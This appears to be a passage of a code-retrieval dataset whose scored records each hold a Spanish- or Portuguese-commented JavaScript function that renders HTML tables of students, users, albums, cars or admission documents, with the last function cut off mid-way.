"score": "0.63830465", "text": "function title_usuarios_act(id_tabla) {\n var arreglo = new Array();\n arreglo[0] = 'Nro';\n arreglo[1] = 'Nombre y Apellido';\n arreglo[2] = 'Nro.Cédula';\n arreglo[3] = 'Usuario';\n arreglo[4] = 'Correo';\n arreglo[5] = 'Num. de télefono';\n arreglo[6] = 'Ente u Organismo';\n arreglo[7] = 'Acción';\n \n var tabla = document.getElementById(id_tabla);\n// tabla.appendChild(addRowDatos(arreglo, 'th'));\n tabla.innerHTML = \"\";\n tabla.appendChild(addRowDatos(arreglo, 'th',''));\n}", "title": "" }, { "docid": "4fc3b7678c00c5e595a22108ed1ec66c", "score": "0.6327341", "text": "function mostrar_tabla (id_mesa) {\n /* Ocultamos todas las tablas actuales */\n const tablas = document.getElementsByTagName('table')\n\n for (let i = 0; i < tablas.length; i++) {\n tablas[i].setAttribute('style', 'display:none;')\n }\n\n /* Mostramos la tabla objetivo */\n const objetivo = document.getElementById('agenda-' + id_mesa)\n objetivo.setAttribute('style', 'display:table;')\n\n /* Se actualiza el título del panel acorde */\n const titulo = document.getElementById('titulo-#mesa')\n titulo.innerText = id_mesa\n}", "title": "" }, { "docid": "e16ba0b6f0defaa09193decf2aa68fd2", "score": "0.6302089", "text": "function iniciar_tabla_detalle(idioma){\n\n if (idioma===\"es\"){\n\n return $('#table-observaciones').DataTable({\n //poner if con idioma, el ingles es predeterminado\n language: {\n url: '/static/json/Spanish-tables.json'\n },\n \"scrollY\": \"100px\",\n \"pageLength\": 5,\n \"lengthMenu\": [5, 10, 25, 50, 75, 100 ],\n \"paging\": true,\n \"autoWidth\": false,\n \"columns\": [\n { \"width\": \"20%\" },\n { \"width\": \"80%\" },\n ],\n })\n\n }else if (idioma===\"en\"){\n\n return $('#table-observaciones').DataTable({\n language: {\n url: '/static/json/English-tables.json'\n },\n \"scrollY\": \"100px\",\n \"pageLength\": 5,\n \"lengthMenu\": [5, 10, 25, 50, 75, 100 ],\n \"paging\": true,\n \"autoWidth\": false,\n \"columns\": [\n { \"width\": \"20%\" },\n { \"width\": \"80%\" },\n ],\n })\n };\n}", "title": "" }, { "docid": "25d0fff1ab31f4d1184c620517935e5e", "score": "0.62537473", "text": "function cargarMateriales(){\n var categoria = \"\";\n var titulod = document.getElementById('titulo-m');\n titulod.innerHTML = \"<label class='titulo-pag'>Materiales de \"+categoria+\"</label>\"\n var mat = document.getElementById('materiales').value; // Se obtiene del String que guardamos en el input\n console.log(mat);\n var tabla = document.getElementById(\"tabla-materiales\"); // Obtenemos el id del tbody de la tabla para agregarle el codigo\n var materiales = mat.split(\"|\"); // Creamos un vector mediante el String seperando los registros \"|\" \n console.log(materiales);\n \n for (var i = 0; i < materiales.length - 1; i=i+6) { // Ciclo de 5 en 5 ya que cada 5 posiciones esta otro registro\n \n var rColumna1 = \"<td>\" + \"<button type='button' class='btn btn-link' onclick=seleccionarMaterial('\"+materiales[i]+\"')>\"+ materiales[i+3] + \"</button></td>\"; // Titulo\n var rColumna2 = \"<td>\" + materiales[i+4] + \"</td>\"; // Autor\n var rColumna3 = \"<td>\" + materiales[i+5] + \"</td>\"; // Fecha\n var rColumna4 = \"<td>\" + materiales[i+2] + \"</td>\"; // Formato\n \n var registro = \"<tr>\"+rColumna1+rColumna2+rColumna3+rColumna4+\"</tr\";\n tabla.innerHTML += registro; \n }\n cargarOpciones();\n var select = document.getElementById('inputState'); // Cuestiones de vista del admin. NO MODIFICAR\n select.onchange = undefined; // Cuestiones de vista del admin. NO MODIFICAR\n $('#inputState').change(function(){cambiarVistaMaterial();}); // Cuestiones de vista del admin. NO MODIFICAR\n}", "title": "" }, { "docid": "f92b7a83fe22cd2fe7af192cc57afc21", "score": "0.6223215", "text": "function MostrarAlumno() {\n //declarando una variable para guardar los datos \n var listaalumno=Mostrar();\n //selecciono el tbody de la tabla donde voy a guardar\n tbody=document.querySelector(\"#tbAlumno tbody\");\n tbody.innerHTML=\"\";\n //agregamos las columnas que se registren\n for (var i=0; i<listaalumno.length; i++){\n //declarando una variable para la fila \n var fila=tbody.insertRow(i);\n //declaramos variables para los titulos \n var titulonombre=fila.insertCell(0);\n var tituloapellido=fila.insertCell(1);\n var titulodni=fila.insertCell(2);\n var titulocurso=fila.insertCell(3);\n var tituloturno=fila.insertCell(4);\n var tituloestado=fila.insertCell(5);\n //agregamos los valores\n titulonombre.innerHTML=listaalumno[i].nombre;\n tituloapellido.innerHTML=listaalumno[i].apellido;\n titulodni.innerHTML=listaalumno[i].dni;\n titulocurso.innerHTML=listaalumno[i].curso;\n tituloturno.innerHTML=listaalumno[i].turno;\n tituloestado.innerHTML=listaalumno[i].estado;\n \n tbody.appendChild (fila);\n }\n}", "title": "" }, { "docid": "8b3b85aa35a95eb92b3cdf7ee3a0c226", "score": "0.61814415", "text": "function listar(){\n\t// tabla es la variable goblal declarada en la linea 1\n\ttabla=$('#tblListado').dataTable({\n\t\t\"aProcessing\": true, //Activamos el procesamiento del datatables\n\t\t\"aServerSide\": true, //Paginación y filtrado realizados por el servidor\n\t\tdom: 'Bfrtip', //Definimos los elementos del control de tabla\n\t\t//agregamos botones para exportar el dataTable\n\t\tresponsive: true,\n\t\tautoWidth: false,\n\t\tbuttons: [ \n\t\t\t'copyHtml5',\n\t\t\t'excelHtml5',\n\t\t\t'csvHtml5',\n\t\t\t'pdf'\n\t\t],\n\t\t\"ajax\": {\n\t\t\turl: '../ajax/usuario.php?op=listar',\n\t\t\ttype: 'get',\n\t\t\tdataType: 'json',\n\t\t\terror: function(e){\n\t\t\t\tconsole.log(e.responseText);\n\t\t\t}\n\t\t},\n\t\t\"bDestroy\": true,\n\t\t\"iDisplayLength\": 10, // paginacion cada 5 registros\n\t\t\"order\": [[1, \"asc\"]] //orden de la tabla (col 0, descendiente)\n\t}).DataTable();\n}", "title": "" }, { "docid": "0eb0a98fbf2771480b07574ec83479b6", "score": "0.61509264", "text": "function GerarTabela(listaCompleta, pagina) {\n let listaPaginada = listar(listaCompleta, pagina);\n\n $('tbody').html(\"\");\n\n $.each(listaPaginada, (i, atendimento) => {\n let numeros = (parseInt(pagina) - 1) * 25 + (i + 1); \n \n let colunas = {\n numeros: numeros,\n Paciente: atendimento.Paciente,\n Data: FormatarData(atendimento.Data),\n Hora: FormatarHora(atendimento.Hora),\n Funcionario: atendimento.Funcionario\n };\n\n let actions = {\n detalhes: {\n type: 'a',\n href: `Detalhes.php?atendimento=${atendimento.Id}`,\n html: \"Detalhes\",\n acesso: 2\n },\n editar: {\n type: 'a',\n href: `Editar.php?atendimento=${atendimento.Id}`,\n html: \"Editar\",\n acesso: 3\n },\n deletar: {\n type: 'button',\n value: `atendimento=${atendimento.Id}&paciente=${atendimento.Paciente}`,\n html: \"Deletar\",\n acesso: 3\n }\n };\n\n let linha = CriarLinhaTabela(colunas, actions, $('#nivelAcessoAtivo').val());\n\n $('tbody').append(linha);\n });\n}", "title": "" }, { "docid": "5b91bc2215a101041b3bc9ae1c12d7a7", "score": "0.61505306", "text": "function dibujar_tabla_albumes_busqueda(resultados) {\n //SI EXISTEN RESULTADOS DIBUJAR LA TABLA DENTRO DEL CONTENEDOR DE RESULTADOS\n if(resultados.length){\n let table = document.createElement('table');\n let tableBody = document.createElement('tbody');\n table.appendChild(tableBody);\n //RECORRER LOS ALBUMES\n for(let i=-1; i<resultados.length; i++){\n let tr = document.createElement('tr');\n tr.style.height=\"50%\";\n tableBody.appendChild(tr);\n //EN EL INDICE -1 DIBUJAR EL ENCABEZADO DE LA TABLA\n if(i==-1){\n for (let j=0; j<8; j++) {\n var td = document.createElement('td');\n let contenido_celda = document.createElement('div');\n if(j==0){\n contenido_celda.innerHTML=\"Reproducir\";\n }\n else if(j==1){\n contenido_celda.innerHTML=\"Álbum\";\n }\n else if (j==2){\n contenido_celda.innerHTML=\"Artista\";\n }\n else if(j==3){\n contenido_celda.innerHTML=\"Lanzamiento\";\n }\n else if(j==4){\n contenido_celda.innerHTML=\"Canciones\";\n }\n else if(j==5){\n contenido_celda.innerHTML=\"Carátula\";\n }\n else if(j==6){\n contenido_celda.innerHTML=\"Seguir\";\n }\n else if(j==7){\n contenido_celda.innerHTML=\"Visualizar\";\n }\n td.appendChild(contenido_celda);\n tr.appendChild(td);\n }\n }else{\n for (let j=0; j<8; j++) {\n var td = document.createElement('td');\n let contenido_celda = document.createElement('div');\n if(j==0){\n contenido_celda.innerHTML=`<button><img src='../assets/icons/reproducir.svg' class='icono-boton'></button>`;\n contenido_celda.addEventListener('click',()=>{\n reproducir_arreglo_canciones(resultados[i].canciones);\n });\n }\n else if(j==1){\n contenido_celda.innerHTML=resultados[i].nombre_album;\n }\n else if (j==2){\n contenido_celda.innerHTML=resultados[i].artista.nombre;\n }\n else if(j==3){\n contenido_celda.innerHTML=resultados[i].lanzamiento;\n }\n else if(j==4){\n contenido_celda.innerHTML=resultados[i].canciones.length;\n }\n else if(j==5){\n if(resultados[i].ruta_caratula && resultados[i].ruta_caratula!=\"\"){\n contenido_celda.innerHTML=`<img src=\"${resultados[i].ruta_caratula}\" alt=\"caratula\" class=\"caratula-tabla-album\">`\n }else{\n contenido_celda.innerHTML=\"-\"\n }\n }\n else if(j==6){\n contenido_celda.innerHTML=`<button><img src='../assets/icons/add.svg' class='icono-boton'></button>`\n contenido_celda.addEventListener('click',()=>{\n seguir_album(resultados[i]._id);\n });\n }\n else if(j==7){\n contenido_celda.innerHTML=`<button data-bs-toggle=\"modal\" data-bs-target=\"#modal-visualizar-album\"><img src='../assets/icons/visualizar.svg' class='icono-boton'></button>`\n contenido_celda.addEventListener('click',()=>{\n console.log(\"visualizar album\");\n dibujar_contenido_visualizar_album(resultados, i);\n });\n }\n td.appendChild(contenido_celda);\n tr.appendChild(td);\n }\n }\n }\n contenedor_resultados.appendChild(table);\n\n }else{\n let h3 = document.createElement(\"h3\");\n h3.textContent=\"No se encontraron coincidencias.\";\n contenedor_resultados.appendChild(h3);\n }\n}", "title": "" }, { "docid": "2859646a9a45c8ab94123b1bc4bf1b1f", "score": "0.61087734", "text": "function GerarTabela(listaCompleta, pagina) {\r\n let listaPaginada = listar(listaCompleta, pagina);\r\n\r\n $('tbody').html(\"\");\r\n\r\n $.each(listaPaginada, (i, usuario) => {\r\n let nivelAcesso = DefinirNivelAcesso(usuario.NivelAcesso);\r\n\r\n let numeros = (parseInt(pagina) - 1) * 25 + (i + 1);\r\n\r\n let colunas = {\r\n numeros: numeros,\r\n Nome: usuario.Login,\r\n NivelAcesso: nivelAcesso\r\n };\r\n\r\n let actions = {\r\n editar: {\r\n type: 'a',\r\n href: `Editar.php?usuario=${usuario.Id}`,\r\n html: \"Alterar Senha\",\r\n acesso: 3\r\n }\r\n };\r\n\r\n let linha = CriarLinhaTabela(colunas, actions, $('#nivelAcessoAtivo').val());\r\n\r\n $('tbody').append(linha);\r\n });\r\n}", "title": "" }, { "docid": "0baba0cd4134f40c8ae8463ab0da5b14", "score": "0.61054254", "text": "function iniciaTablero ()\n{\n tanqueaTablero(); //Llena el tablero\n validaColumna(); //Valida combinaciones por columna\n validaFila(); //Valida combinaciones por fila\n dulceAnimacion(); //LLama la funcion que elimina los dulces y les pone el efecto parpadeante\n\n}", "title": "" }, { "docid": "f6a9dc7e97457f4a00293451652ea5e9", "score": "0.6101466", "text": "function obtenerAlumnos() {\n var uri = __env.apiUrl + 'alumnos';\n return $http({\n url: uri,\n method: \"GET\",\n headers: { \"Content-Type\": \"application/json\" }\n }).then(function (response) {\n return response;\n });\n }", "title": "" }, { "docid": "1db7e42a3c8c8da9cc147f9a06c6ab96", "score": "0.60728276", "text": "function listar()\n{\n\ttabla=$('#bootstrap-data-table').dataTable(\n\t{\n\t\t\"aProcessing\": true,//Activamos el procesamiento del datatables\n\t \"aServerSide\": true,//Paginación y filtrado realizados por el servidor\n\t dom: 'Bfrtip',//Definimos los elementos del control de tabla\n\t buttons: [\t\t \n\t\t 'copyHtml5',\n\t\t 'excelHtml5',\n\t\t 'csvHtml5',\n\t\t 'pdf'\n\t\t ],\n\t\t\"ajax\":\n\t\t\t\t{\n\t\t\t\t\turl: '../ajax/activo.php?op=listar',\n\t\t\t\t\ttype : \"get\",\n\t\t\t\t\tdataType : \"json\",\t\t\t\t\t\t\n\t\t\t\t\terror: function(e){\n\t\t\t\t\t\tconsole.log(e.responseText);\t\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\"bDestroy\": true,\n\t\t\"iDisplayLength\": 5,//Paginación\n\t \"order\": [[ 0, \"desc\" ]]//Ordenar (columna,orden)\n\t}).DataTable();\n}", "title": "" }, { "docid": "2907453aa2076cba59ec4475120a94f4", "score": "0.6065564", "text": "function dibujarTablero(){\n\tfor(var fila = 0; fila < NUM_ROWS; fila++){\n\t\tdibujarFila(fila);\n\t} \n\n}", "title": "" }, { "docid": "da6f4525a40a7460ef476a84f7535f54", "score": "0.60576", "text": "function mostrarCarros(c) {\n\n \tlimpiarContenidoTabla();\n\n \tlet contenedorResultado = document.querySelector(\"#resultado\");\n \tlet contenedorTabla = document.createElement(\"table\");\n\n \tcontenedorTabla.className = \"u-full-width\"\n \t\n \tlet TablaCabecera = `<thead>\n <tr>\n <th>marca</th>\n <th>modelo</th>\n <th>year</th>\n <th>precio</th>\n <th>puertas</th>\n <th>color</th>\n <th>transmision</th>\n </tr>\n \t</thead>`;\n \t\n \tcontenedorTabla.innerHTML =TablaCabecera;\n \tcontenedorTablaCuerpo = document.createElement(\"tbody\");\n\n \tcontenedorResultado.appendChild(contenedorTabla);\n \tcontenedorTabla.appendChild(contenedorTablaCuerpo);\n\n \tc.forEach(carro => {\n \t\tcontenedorFilaCuerpo = document.createElement(\"tr\");\n \t\tcontenedorFilaCuerpo.innerHTML =`\n \t\t\t<td>${carro.marca}</td>\n \t\t\t<td>${carro.modelo}</td>\n \t\t\t<td>${carro.year}</td>\n \t\t\t<td>${carro.precio}</td>\n \t\t\t<td>${carro.puertas}</td>\n \t\t\t<td>${carro.color}</td>\n \t\t\t<td>${carro.transmision}</td>\n \t\t\t`\n \tcontenedorTablaCuerpo.appendChild(contenedorFilaCuerpo);\n \t});\n\n }", "title": "" }, { "docid": "005e4c944148b23dfc397d6edc4d9330", "score": "0.60471606", "text": "getTipoFichaTablero(fila,columna){\r\n var resultado = \"\";\r\n \r\n if(this.casillas[fila][columna] != null){\r\n resultado = this.casillas[fila][columna].getTipoFicha(); \r\n }\r\n return resultado;\r\n }", "title": "" }, { "docid": "c7fd83c063a4f1dd43781d43e9477a5f", "score": "0.60463643", "text": "function listarTipoModoTransporte() {\n\n var _token= $('input[name=_token]').val();\n\n tblTipoModoTransporte = setDataTable(\"#tblTipoModoTransporte\", {\n ajax: {\n type: 'POST',\n url: '/tipoModoTransporte/getAll', //llamada a la ruta\n data: {\n _token:_token\n },\n },\n columnDefs: [\n {\n targets: -1,\n data: null,\n orderable: false,\n defaultContent: '<i class=\"btn btn-info fa fa-edit\" title=\"Selecciona el registro\" onclick=\"selectTipoModoTransporte(this)\"></i>'\n }\n ]\n });\n\n /** se ejecuta despues que la tabla cargo datos, GIF CARGANDO */\n $('#tblTipoModoTransporte').DataTable().on(\"draw\", function(){\n showLoad(false);\n })\n\n }", "title": "" }, { "docid": "abacd185960c60d92429b3872fa100a1", "score": "0.60415184", "text": "renderTablaFiltradoXanioymes() {\n const tblfiltro = document.querySelector(\".tblFiltroProgramacion\");\n tblfiltro.innerHTML = tblfiltroProgramacion;\n }", "title": "" }, { "docid": "f8714ddb5b3f9938d723293cacc52c4f", "score": "0.5978883", "text": "function cargarDatosAlumnos(alumnos,nota1,nota2,nota3,alumNum) {\n let indice; \n for (indice=0; indice<alumNum; indice++) {\n alumnos[indice]= readlineSync.question(\"Nombre: \");\n nota1[indice] = readlineSync.questionInt(\"Nota 1er trimestre: \");\n nota2[indice] = readlineSync.questionInt(\"Nota 2do trimestre: \");\n nota3[indice] = readlineSync.questionInt(\"Nota 3er trimestre: \");\n }\n}", "title": "" }, { "docid": "de637e31b49bec86f979a72af185f642", "score": "0.59731346", "text": "function listar(cuadro){\n\t\t$('#tabla tbody').off('click');\n\t\tif(cuadro!=\"\"){\n\t\t\t$(cuadro).slideUp(\"slow\");\n\t\t}\n\t\t$(\"#cuadro3\").slideDown(\"slow\");\n\t\tvar table=$(\"#tabla\").DataTable({\n\t\t\t\"destroy\":true,\n\t\t\t\"stateSave\": true,\n\t\t\t\"serverSide\":true,\n\t\t\t\"ajax\":{\n\t\t\t\t\"method\":\"POST\",\n\t\t\t\t\"url\":carpeta+\"admin/cargos/listing\",\n\t\t\t\t\"data\":{ _token: document.getElementById('token').value}\n\t\t\t},\n\t\t\t\"columns\":[\n\t\t\t\t{\"data\":\"cargo\"},\n\t\t\t\t{\"data\":\"created_at\"},\n\t\t\t\t{\"data\":\"updated_at\"},\n\t\t\t\t{\"defaultContent\": \"<span class='editar botones btn-primary' data-toggle='tooltip' title='Editar'><i class='fa fa-pencil-square-o'></i></span> <span class='eliminar botones btn-danger' data-toggle='tooltip' title='Eliminar'><i class='fa fa-trash-o'></i></span>\"}\n\t\t\t],\n\t\t\t\"language\": idioma_espanol,\n\t\t\t\"dom\": \"<'row'<'form-inline' <B>>>\"\n\t\t\t\t\t\t +\"<'row' <'form-inline' <'col-sm-1 col-sm-offset-2'f>>>\"\n\t\t\t\t\t\t +\"<rt>\"\n\t\t\t\t\t\t +\"<'row'<'form-inline'\"\n\t\t\t\t\t\t +\" <'col-sm-6 col-md-6 col-lg-6'l>\"\n\t\t\t\t\t\t +\"<'col-sm-6 col-md-6 col-lg-6'p>>>\",\n\t\t\t\"buttons\":[\n\t\t\t\t{\n\t\t\t\t\t\"text\": \"<i class='fa fa-plus'></i>\",\n\t\t\t\t\t\"titleAttr\": \"Agregar Cargo\",\n\t\t\t\t\t\"className\": \"btn btn-success\",\n\t\t\t\t\t\"action\": function(){\n\t\t\t\t\t\tagregar();\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"text\": \"<i class='fa fa-refresh fa-spin fa-fw'></i>\",\n\t\t\t\t\t\"titleAttr\": \"Refrescar Datos\",\n\t\t\t\t\t\"className\": \"btn btn-primary\",\n\t\t\t\t\t\"action\": function(){\n\t\t\t\t\t\tlistar();\n\t\t\t\t\t}\n\t\t\t\t}/*,\n\t\t\t\t{\n\t extend: 'excelHtml5',\n\t text: '<i class=\"fa fa-file-excel-o\"></i>',\n\t titleAttr: 'Excel'\n\t\t\t },\n\t\t\t {\n\t\t \textend: 'csvHtml5',\n\t\t \ttext: '<i class=\"fa fa-file-text-o\"></i>',\n\t\t \ttitleAttr: 'CSV'\n\t\t\t },\n\t\t\t {\n\t extend: 'pdfHtml5',\n\t text: '<i class=\"fa fa-file-pdf-o\"></i>',\n\t titleAttr: 'PDF'\n\t\t\t }*/\n\t\t\t]\n\t\t});\n\t\teditar(\"#tabla tbody\", table);\n\t\teliminar(\"#tabla tbody\", table);\n\t}", "title": "" }, { "docid": "2040adc32636f35f888756363c0a0baa", "score": "0.5967727", "text": "function cargarAlumnos(data)\n{\n var res=\"\";\n\n if(data!='error')\n {\n data=eval(data);\n for(var i=0;i<data.length;i++)\n {\n nombre=data[i].nombre;\n apellido=data[i].apellido;\n doc=data[i].documento;\n categoria=data[i].categoria;\n alumnoid=data[i].alumnoid;\n\n alumnoid='<p class=\"id\" style=\"display:none;\">'+alumnoid+'</p>';\n\n edad=new Date(data[i].fecha_nac);\n \n edad=getEdad(edad);\n\n //nombre='<h5><b>'+nombre+' '+apellido+'</b></h5>';\n\n //doc='<h5><b>'+doc+'</b></h5>';\n\n //categoria='<h5 class=\"hidden-xs hidden-sm\"><b>'+categoria+'</b></h5>';\n\n //edad='<h5 class=\"hidden-xs hidden-sm\"><b>'+edad+'</b></h5>';\n\n alumno='<td>'+\n nombre+' '+apellido+ \n '</td>'+\n '<td class=\"hidden-xs\">'+\n doc+ \n '</td>'+\n '<td class=\"hidden-sm hidden-xs\">'+\n edad+ \n '</td>'+ \n '<td class=\"hidden-sm hidden-xs\">'+\n categoria+ \n '</td>'+ \n \n '<td class=\"botones\">'+\n alumnoid+\n '<span class=\"icon-edit edit\"></span>'+\n\n '<span class=\"icon-minus remove\"></span>'+\n\n '<span class=\"icon-credit pay\"></span>'+\n '</td>';\n\n alumno='<tr>'+alumno+'</tr>';\n res+=alumno;\n }\n res = \n '<div class=\"col-xs-12\">'+ \n '<table class=\"table table-hover table-alumnos\">'+\n '<thead>'+ \n '<tr>'+\n '<th>NOMBRE</th>'+\n '<th class=\"hidden-xs\">DOCUMENTO</th>'+\n '<th class=\"hidden-sm hidden-xs\">EDAD</th>'+\n '<th class=\"hidden-sm hidden-xs\">CATEGORIA</th>'+\n '<th class=\"hidden-sm hidden-xs\">CONTROLES</th>'+\n '</tr>'+\n '</thead>'+\n '<tbody>'+\n res+\n '</tbody>'+\n '</table>'+\n '</div>';\n }\n else\n {\n res='<h2>No existen alumnos registrados!</h2>';\n }\n return res;\n}", "title": "" }, { "docid": "6f2e6f77ab8185e3bcf581467bd8327f", "score": "0.59493256", "text": "function mostrarTablaDocumentosAdmision(){\r\n\r\n \r\n var tbl = document.getElementById(\"tabla-documentos-admision\");\r\n\r\n // borrando el contenido de la tabla si existe para que no se repital\r\n tbl.innerHTML = \"\";\r\n\r\n var tblBody = document.createElement(\"tbody\"); \r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Documento\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Estado\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Agregar\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Aprobar\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n\r\n tblBody.appendChild(fila);\r\n\r\n \r\n \r\n \r\n \r\n var fila = document.createElement(\"tr\");\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(\"Acta de Nacimiento Original Certificada\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n if(usuarios[idUsuarioActual].documentosAdmision.actaNacimiento === \"Enviado\"){\r\n var textoCelda = document.createTextNode(\"Enviado\");\r\n celda.style.backgroundColor= \"dodgerBlue\";\r\n }else if(usuarios[idUsuarioActual].documentosAdmision.actaNacimiento === \"Aprobado\"){\r\n var textoCelda = document.createTextNode(\"Aprobado\");\r\n celda.style.backgroundColor= \"#4CAF50\";\r\n }else{\r\n var textoCelda = document.createTextNode(\"Sin Enviar\");\r\n celda.style.backgroundColor= \"tomato\";\r\n }\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('input');\r\n o.type = \"file\";\r\n o.id = \"admisiones-acta-nacimiento-input\";\r\n o.setAttribute(\"onChange\",\"enviarActaNacimiento()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('button');\r\n o.setAttribute(\"value\",\"Aprobar\");\r\n o.id = \"admisiones-acta-nacimiento-button\";\r\n o.setAttribute(\"onClick\",\"aprobarActaNacimiento()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n\r\n\r\n\r\n var fila = document.createElement(\"tr\");\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(\"Copia Cedula Identidad\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n if(usuarios[idUsuarioActual].documentosAdmision.copiaCedula === \"Enviado\"){\r\n var textoCelda = document.createTextNode(\"Enviado\");\r\n celda.style.backgroundColor= \"dodgerBlue\";\r\n }else if(usuarios[idUsuarioActual].documentosAdmision.copiaCedula === \"Aprobado\"){\r\n var textoCelda = document.createTextNode(\"Aprobado\");\r\n celda.style.backgroundColor= \"#4CAF50\";\r\n }else{\r\n var textoCelda = document.createTextNode(\"Sin Enviar\");\r\n celda.style.backgroundColor= \"tomato\";\r\n }\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('input');\r\n o.type = \"file\";\r\n o.id = \"admisiones-copia-cedula-input\";\r\n o.setAttribute(\"onChange\",\"enviarCopiaCedula()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('button');\r\n o.name = \"Aprobar\";\r\n o.id = \"admisiones-copia-cedula-button\";\r\n o.setAttribute(\"onClick\",\"aprobarCopiaCedula()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n\r\n var fila = document.createElement(\"tr\");\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(\"Certificado Oficial de bachiller expedido por el Ministerio de Educacion\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n if(usuarios[idUsuarioActual].documentosAdmision.certificadoBachiller === \"Enviado\"){\r\n var textoCelda = document.createTextNode(\"Enviado\");\r\n celda.style.backgroundColor= \"dodgerBlue\";\r\n }else if(usuarios[idUsuarioActual].documentosAdmision.certificadoBachiller === \"Aprobado\"){\r\n var textoCelda = document.createTextNode(\"Aprobado\");\r\n celda.style.backgroundColor= \"#4CAF50\";\r\n }else{\r\n var textoCelda = document.createTextNode(\"Sin Enviar\");\r\n celda.style.backgroundColor= \"tomato\";\r\n }\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('input');\r\n o.type = \"file\";\r\n o.id = \"admisiones-certificado-bachiller-input\";\r\n o.setAttribute(\"onChange\",\"enviarCertificadoBachiller()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('button');\r\n o.name = \"Aprobar\";\r\n o.id = \"admisiones-certificado-bachiller-button\";\r\n o.setAttribute(\"onClick\",\"aprobarCertificadoBachiller()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n \r\n\r\n var fila = document.createElement(\"tr\");\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(\"Record de Notas de bachiller original, firmado y sellado por el distrito educativo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n if(usuarios[idUsuarioActual].documentosAdmision.recordNotas === \"Enviado\"){\r\n var textoCelda = document.createTextNode(\"Enviado\");\r\n celda.style.backgroundColor= \"dodgerBlue\";\r\n }else if(usuarios[idUsuarioActual].documentosAdmision.recordNotas === \"Aprobado\"){\r\n var textoCelda = document.createTextNode(\"Aprobado\");\r\n celda.style.backgroundColor= \"#4CAF50\";\r\n }else{\r\n var textoCelda = document.createTextNode(\"Sin Enviar\");\r\n celda.style.backgroundColor= \"tomato\";\r\n }\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('input');\r\n o.type = \"file\";\r\n o.id = \"admisiones-record-notas-input\";\r\n o.setAttribute(\"onChange\",\"enviarRecordNotas()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('button');\r\n o.name = \"Aprobar\";\r\n o.id = \"admisiones-record-notas-button\";\r\n o.setAttribute(\"onClick\",\"aprobarRecordNotas()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n\r\n var fila = document.createElement(\"tr\");\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(\"Dos Fotos 2x2\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n if(usuarios[idUsuarioActual].documentosAdmision.fotos === \"Enviado\"){\r\n var textoCelda = document.createTextNode(\"Enviado\");\r\n celda.style.backgroundColor= \"dodgerBlue\";\r\n }else if(usuarios[idUsuarioActual].documentosAdmision.fotos === \"Aprobado\"){\r\n var textoCelda = document.createTextNode(\"Aprobado\");\r\n celda.style.backgroundColor= \"#4CAF50\";\r\n }else{\r\n var textoCelda = document.createTextNode(\"Sin Enviar\");\r\n celda.style.backgroundColor= \"tomato\";\r\n }\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('input');\r\n o.type = \"file\";\r\n o.id = \"admisiones-fotos-input\";\r\n o.setAttribute(\"onChange\",\"enviarFotos()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n var o = document.createElement('button');\r\n o.name = \"Aprobar\";\r\n o.id = \"admisiones-fotos-button\";\r\n o.setAttribute(\"onClick\",\"aprobarFotos()\");\r\n celda.appendChild(o);\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n\r\n var fila = document.createElement(\"tr\");\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(\"Certificado Medico con Vigencia no mayor a 3 meses de entregado\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n var celda = document.createElement(\"td\");\r\n if(usuarios[idUsuarioActual].documentosAdmision.certificadoMedico === 